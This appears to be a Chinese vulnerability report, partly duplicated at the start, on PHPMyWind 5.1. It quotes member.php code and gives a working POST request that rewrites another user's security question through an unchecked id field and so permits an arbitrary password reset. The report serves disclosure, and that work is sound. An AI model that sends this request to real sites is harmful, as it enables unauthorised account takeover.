### 简要描述: PHPMyWind任意用户密码重置 ### 详细说明: 首先我们注册两个用户 第一个叫jkgh006 第二个叫test123 那么我们下来分析一下代码: member.php: ``` else if($a == 'saveedit') { //检测数据完整性 if($password!=$repassword or $email=='') { header('location:?c=edit'); exit(); } //HTML转义变量 $answer = htmlspecialchars($answer); $cnname = htmlspecialchars($cnname); $enname = htmlspecialchars($enname); $cardnum = htmlspecialchars($cardnum); $intro = htmlspecialchars($intro); $email = htmlspecialchars($email); $qqnum = htmlspecialchars($qqnum); $mobile = htmlspecialchars($mobile); $telephone = htmlspecialchars($telephone); $address = htmlspecialchars($address); $zipcode = htmlspecialchars($zipcode); //检测旧密码是否正确 if($password != '') { $oldpassword = md5(md5($oldpassword)); $r = $dosql->GetOne("SELECT `password` FROM `#@__member` WHERE `username`='$c_uname'"); if($r['password'] != $oldpassword) { ShowMsg('抱歉,旧密码错误!','-1'); exit(); } } $sql = "UPDATE `#@__member` SET "; if($password != '') { $password = md5(md5($password)); $sql .=...
### 简要描述: PHPMyWind任意用户密码重置 ### 详细说明: 首先我们注册两个用户 第一个叫jkgh006 第二个叫test123 那么我们下来分析一下代码: member.php: ``` else if($a == 'saveedit') { //检测数据完整性 if($password!=$repassword or $email=='') { header('location:?c=edit'); exit(); } //HTML转义变量 $answer = htmlspecialchars($answer); $cnname = htmlspecialchars($cnname); $enname = htmlspecialchars($enname); $cardnum = htmlspecialchars($cardnum); $intro = htmlspecialchars($intro); $email = htmlspecialchars($email); $qqnum = htmlspecialchars($qqnum); $mobile = htmlspecialchars($mobile); $telephone = htmlspecialchars($telephone); $address = htmlspecialchars($address); $zipcode = htmlspecialchars($zipcode); //检测旧密码是否正确 if($password != '') { $oldpassword = md5(md5($oldpassword)); $r = $dosql->GetOne("SELECT `password` FROM `#@__member` WHERE `username`='$c_uname'"); if($r['password'] != $oldpassword) { ShowMsg('抱歉,旧密码错误!','-1'); exit(); } } $sql = "UPDATE `#@__member` SET "; if($password != '') { $password = md5(md5($password)); $sql .= "password='$password', "; } @$sql .= "question='$question', answer='$answer', cnname='$cnname', enname='$enname', sex='$sex', birthtype='$birthtype', birth_year='$birth_year', birth_month='$birth_month', birth_day='$birth_day', astro='$astro', bloodtype='$bloodtype', trade='$trade', live_prov='$live_prov', live_city='$live_city', live_country='$live_country', home_prov='$home_prov', home_city='$home_city', home_country='$home_country', cardtype='$cardtype', cardnum='$cardnum', intro='$intro', email='$email', qqnum='$qqnum', mobile='$mobile', telephone='$telephone', address_prov='$address_prov', address_city='$address_city', address_country='$address_country', address='$address', zipcode='$zipcode' WHERE id=$id"; if($dosql->ExecNoneQuery($sql)) { ShowMsg('资料更新成功!','?c=edit'); exit(); } } ``` 这里有一个逻辑缺陷 ,如果输入密码,则才对密码相关的做检测 第一步 我们把密码置空 然后一路小跑到 @$sql .= "question='$question', answer='$answer', cnname='$cnname', enname='$enname', sex='$sex', birthtype='$birthtype', birth_year='$birth_year', birth_month='$birth_month', birth_day='$birth_day', astro='$astro', bloodtype='$bloodtype', trade='$trade', live_prov='$live_prov', live_city='$live_city', live_country='$live_country', home_prov='$home_prov', home_city='$home_city', home_country='$home_country', cardtype='$cardtype', cardnum='$cardnum', intro='$intro', email='$email', qqnum='$qqnum', mobile='$mobile', telephone='$telephone', address_prov='$address_prov', address_city='$address_city', address_country='$address_country', address='$address', zipcode='$zipcode' WHERE id=$id"; 看见问题了没有后面直接是id=$id也就是说我们可以越权修改别人信息了,这里我讲的不是越权问题 通过这个我们修改两个字段 第一个 question 第二个 answer 下来我们要分析为什么要修改这两个字段,直接到找回密码处,看看代码怎么写的 member.php: ``` //找回密码 else if($a == 'quesfind') { if(!isset($_POST['uname'])) { header('location:?c=findpwd'); exit(); } //验证输入数据 if($question == '-1' or $answer == '') { header('location:?c=findpwd'); exit(); } $r = $dosql->GetOne("SELECT `question`,`answer` FROM `#@__member` WHERE `username`='$uname'"); if($r['question']==0 or !isset($r['answer'])) { ShowMsg('此账号未填写验证问题,请选择其他方式找回!','?c=findpwd'); exit(); } else if($question != $r['question'] or $answer != $r['answer']) { ShowMsg('您填写的验证问题或答案不符!','?c=findpwd'); exit(); } else { //验证通过,采用SESSION存储用户名 @session_start(); $_SESSION['fid_'.$uname] = $uname; } } ``` 这里只是通过问题答案一路存储到session里面 session里面的这个东西正好就只是找回密码下一次的凭证 ``` /设置新密码 else if($a == 'setnewpwd') { @session_start(); if(isset($_SESSION['fid_'.$_POST['uname']])) { if($_SESSION['fid_'.$_POST['uname']] != $_POST['uname']) { ShowMsg('非法操作,找回用户名与上一步输入不符合!','?c=findpwd'); unset($_SESSION['fid_'.$_POST['uname']]); exit(); } } else { header('location:?c=findpwd'); exit(); } //初始化参数 $uname = empty($uname) ? '' : $uname; $password = empty($password) ? '' : md5(md5($password)); $repassword = empty($repassword) ? '' : md5(md5($repassword)); //验证输入数据 if($uname == '' or $password == '' or $repassword == '' or $password != $repassword or preg_match("/[^0-9a-zA-Z_-]/",$password)) { header('location:?c=findpwd'); exit(); } if($dosql->ExecNoneQuery("UPDATE `#@__member` SET password='$password' WHERE username='$uname'")) { ``` if($_SESSION['fid_'.$_POST['uname']] != $_POST['uname']) 这一句提交相同 那就ok了 ### 漏洞证明: 证明如下: 发送url: POST /PHPMyWind_5.1u/member.php?a=saveedit HTTP/1.1 Host: localhost postdata: oldpassword=&password=&repassword=&question=1&answer=ffff&cnname=xxxx&enname=xxxx&sex=0&birthtype=0&birth_year=-1&birth_month=-1&birth_day=-1&astro=-1&bloodtype=-1&trade=-1&live_prov=-1&live_city=-1&live_country=-1&home_prov=-1&home_city=-1&home_country=-1&cardtype=-1&cardnum=&intro=&email=test%40test.com&qqnum=&mobile=&telephone=&address_prov=-1&address_city=-1&address_country=-1&address=&zipcode=&action=update&id=3 当前用户是jkgh006 id为2 我们改为3 然后修改了test123的问题回答 [<img src="https://images.seebug.org/upload/201507/291256421b156569cd5416943b0f18e27525fc92.jpg" alt="q1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/291256421b156569cd5416943b0f18e27525fc92.jpg) [<img src="https://images.seebug.org/upload/201507/2912565248eafeb37077958b13943f80e6235cd1.jpg" alt="q2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/2912565248eafeb37077958b13943f80e6235cd1.jpg)